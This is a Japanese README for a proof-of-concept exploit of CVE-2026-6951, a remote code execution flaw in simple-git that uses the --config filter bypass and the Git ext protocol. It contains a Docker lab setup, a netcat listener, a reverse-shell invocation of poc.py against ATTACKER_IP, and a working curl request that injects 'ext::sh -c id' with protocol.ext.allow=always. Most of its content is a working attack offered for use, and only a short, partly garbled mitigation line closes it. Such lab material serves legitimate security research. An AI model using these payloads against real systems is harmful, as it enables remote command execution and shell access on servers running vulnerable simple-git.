
CVE-2026-6951の概念実証エクスプロイト。simple-gitの--configフィルターバイパスにより、Git extプロトコル経由でRCEを可能にするもので、Dockerラボとリバースシェルペイロードを備えています。
★ CVE-2026-6951 simple-git --config オプションフィルターバイパス RCE PoC ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951 は、CVE-2022-25912 に対する不完全な修正に起因する
simple-gitのリモートコード実行脆弱性です。-cオプションはブロックされていましたが、同等の--configオプションは適切に制限されていませんでした。Git 引数を制御できる攻撃者は、extプロトコルを有効化し、ext::リポジトリ URL を通じて任意のコマンドを実行できます。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | 3.36.0 より前の simple-git バージョン |
| 修正済み | simple-git 3.36.0 以降 |
この環境では simple-git 3.35.2 および @simple-git/argv-parser 1.0.3 を使用しています。
脆弱な環境をビルドして実行します。
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
次の URL でサービスにアクセスします。
http://127.0.0.1:9107
サービスの状態を確認します。
curl -s http://127.0.0.1:9107/api/health
埋め込みのサンプルリポジトリは次の場所にあります。
file:///srv/git/sample.git
攻撃者システムでリスナーを起動します。
nc -lvnp 4444
エクスプロイトスクリプトを実行します。
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
次のリクエストは、制限されていない --config オプションと Git の ext プロトコルを悪用して id コマンドを実行します。
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git をバージョン 3.36.0 以降にアップグレードします。simple-git に直接渡さないでください。ext:: URL を拒否します。